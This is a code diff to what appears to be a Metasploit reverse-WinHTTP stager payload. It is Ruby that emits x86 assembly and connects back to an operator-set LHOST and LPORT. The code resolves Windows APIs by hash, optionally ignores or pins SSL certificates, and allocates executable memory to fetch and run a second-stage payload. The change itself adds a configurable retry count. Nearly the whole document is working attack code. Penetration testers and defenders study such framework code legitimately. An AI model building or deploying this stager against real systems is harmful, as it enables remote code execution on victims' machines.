@@ -36,15 +36,17 @@ def generate
36
36
ssl : false ,
37
37
host : datastore [ 'LHOST' ] ,
38
38
port : datastore [ 'LPORT' ] ,
39
- url : generate_small_uri )
39
+ url : generate_small_uri ,
40
+ retry_count : datastore [ 'StagerRetryCount' ] )
40
41
end
41
42
42
43
conf = {
43
44
ssl : false ,
44
45
host : datastore [ 'LHOST' ] ,
45
46
port : datastore [ 'LPORT' ] ,
46
47
url : generate_uri ,
47
- exitfunk : datastore [ 'EXITFUNC' ]
48
+ exitfunk : datastore [ 'EXITFUNC' ] ,
49
+ retry_count : datastore [ 'StagerRetryCount' ]
48
50
}
49
51
50
52
generate_reverse_winhttp ( conf )
@@ -98,28 +100,26 @@ def asm_generate_wchar_array(str)
98
100
join ( "," )
99
101
end
100
102
103
+
104
+ #
105
+ # Generate an assembly stub with the configured feature set and options.
101
106
#
102
- # Dynamic payload generation
107
+ # @option opts [Bool] :ssl Whether or not to enable SSL
108
+ # @option opts [String] :url The URI to request during staging
109
+ # @option opts [String] :host The host to connect to
110
+ # @option opts [Fixnum] :port The port to connect to
111
+ # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
112
+ # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
113
+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
114
+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
103
115
#
104
116
def asm_reverse_winhttp ( opts = { } )
105
117
106
-
107
- verify_ssl = nil
118
+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
119
+ verify_ssl = nil
108
120
encoded_cert_hash = nil
109
-
110
- #
111
- # options can contain contain:
112
- # ssl: (true|false)
113
- # url: "/url_to_request"
114
- # host: [hostname]
115
- # port: [port]
116
- # exitfunk: [process|thread|seh|sleep]
117
- # verify_ssl: (true|false)
118
- # verify_cert_hash: (40-byte SHA1 hash)
119
- #
120
-
121
- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122
- encoded_host = asm_generate_wchar_array ( opts [ :host ] )
121
+ encoded_url = asm_generate_wchar_array ( opts [ :url ] )
122
+ encoded_host = asm_generate_wchar_array ( opts [ :host ] )
123
123
124
124
if opts [ :ssl ] && opts [ :verify_cert ] && opts [ :verify_cert_hash ]
125
125
verify_ssl = true
@@ -162,45 +162,38 @@ def asm_reverse_winhttp(opts={})
162
162
end
163
163
164
164
asm << %Q^
165
- set_retry:
166
- push.i8 6 ; retry 6 times
167
- pop edi
168
- xor ebx, ebx
169
- mov ecx, edi
170
165
171
- push_zeros:
172
- push ebx ; NULL values for the WinHttpOpen API parameters
173
- loop push_zeros
166
+ xor ebx, ebx
174
167
175
168
WinHttpOpen:
176
- ; Flags [5]
177
- ; ProxyBypass (NULL) [4]
178
- ; ProxyName (NULL) [3]
179
- ; AccessType (DEFAULT_PROXY= 0) [2]
180
- ; UserAgent (NULL) [1]
169
+ push ebx ; Flags
170
+ push ebx ; ProxyBypass (NULL)
171
+ push ebx ; ProxyName (NULL)
172
+ push ebx ; AccessType (DEFAULT_PROXY= 0)
173
+ push ebx ; UserAgent (NULL) [1]
181
174
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
182
175
call ebp
183
176
184
177
WinHttpConnect:
185
- push ebx ; Reserved (NULL) [4]
178
+ push ebx ; Reserved (NULL)
186
179
push #{ opts [ :port ] } ; Port [3]
187
180
call got_server_uri ; Double call to get pointer for both server_uri and
188
- server_uri: ; server_host; server_uri is saved in EDI for later
181
+ server_uri: ; server_host; server_uri is saved in edi for later
189
182
db #{ encoded_url }
190
183
got_server_host:
191
- push eax ; Session handle returned by WinHttpOpen [1]
184
+ push eax ; Session handle returned by WinHttpOpen
192
185
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
193
186
call ebp
194
187
195
188
WinHttpOpenRequest:
196
189
197
190
push.i32 #{ "0x%.8x" % http_open_flags }
198
- push ebx ; AcceptTypes (NULL) [6]
199
- push ebx ; Referrer (NULL) [5]
200
- push ebx ; Version (NULL) [4]
201
- push edi ; ObjectName (URI) [3]
202
- push ebx ; Verb (GET method) (NULL) [2]
203
- push eax ; Connect handler returned by WinHttpConnect [1]
191
+ push ebx ; AcceptTypes (NULL)
192
+ push ebx ; Referrer (NULL)
193
+ push ebx ; Version (NULL)
194
+ push edi ; ObjectName (URI)
195
+ push ebx ; Verb (GET method) (NULL)
196
+ push eax ; Connect handle returned by WinHttpConnect
204
197
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
205
198
call ebp
206
199
xchg esi, eax ; save HttpRequest handler in esi
@@ -216,16 +209,21 @@ def asm_reverse_winhttp(opts={})
216
209
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
217
210
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
218
211
mov eax, esp
219
- push.i8 4 ; sizeof(buffer)
212
+ push 4 ; sizeof(buffer)
220
213
push eax ; &buffer
221
- push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
214
+ push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
222
215
push esi ; hHttpRequest
223
216
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
224
217
call ebp
225
218
^
226
219
end
227
220
228
221
asm << %Q^
222
+ ; Store our retry counter in the edi register
223
+ set_retry:
224
+ push #{ retry_count }
225
+ pop edi
226
+
229
227
send_request:
230
228
231
229
WinHttpSendRequest:
@@ -271,14 +269,14 @@ def asm_reverse_winhttp(opts={})
271
269
272
270
asm << %Q^
273
271
ssl_cert_get_context:
274
- push.i8 4
272
+ push 4
275
273
mov ecx, esp ; Allocate &bufferLength
276
- push.i8 0
274
+ push 0
277
275
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
278
276
279
277
push ecx ; &bufferLength
280
278
push ebx ; &buffer
281
- push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
279
+ push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
282
280
push esi ; hHttpRequest
283
281
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
284
282
call ebp
@@ -287,15 +285,15 @@ def asm_reverse_winhttp(opts={})
287
285
288
286
; ebx
289
287
ssl_cert_allocate_hash_space:
290
- push.i8 20 ;
288
+ push 20 ;
291
289
mov ecx, esp ; Store a reference to the address of 20
292
290
sub esp,[ecx] ; Allocate 20 bytes for the hash output
293
291
mov edi, esp ; edi will point to our buffer
294
292
295
293
ssl_cert_get_server_hash:
296
294
push ecx ; &bufferLength
297
295
push edi ; &buffer (20-byte SHA1 hash)
298
- push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
296
+ push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
299
297
push [ebx] ; *pCert
300
298
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
301
299
call ebp
@@ -310,7 +308,7 @@ def asm_reverse_winhttp(opts={})
310
308
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
311
309
; edi points to the server-provided certificate hash
312
310
313
- push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
311
+ push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
314
312
pop ecx ;
315
313
mov edx, ecx ; Keep a reference to 4 in edx
316
314
@@ -332,8 +330,8 @@ def asm_reverse_winhttp(opts={})
332
330
receive_response:
333
331
; The API WinHttpReceiveResponse needs to be called
334
332
; first to get a valid handle for WinHttpReadData
335
- push ebx ; Reserved (NULL) [2]
336
- push esi ; Request handler returned by WinHttpSendRequest [1]
333
+ push ebx ; Reserved (NULL)
334
+ push esi ; Request handler returned by WinHttpSendRequest
337
335
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
338
336
call ebp
339
337
test eax,eax
@@ -342,7 +340,7 @@ def asm_reverse_winhttp(opts={})
342
340
343
341
asm << %Q^
344
342
allocate_memory:
345
- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
343
+ push 0x40 ; PAGE_EXECUTE_READWRITE
346
344
push 0x1000 ; MEM_COMMIT
347
345
push 0x00400000 ; Stage allocation (4Mb ought to do us)
348
346
push ebx ; NULL as we dont care where the allocation is
0 commit comments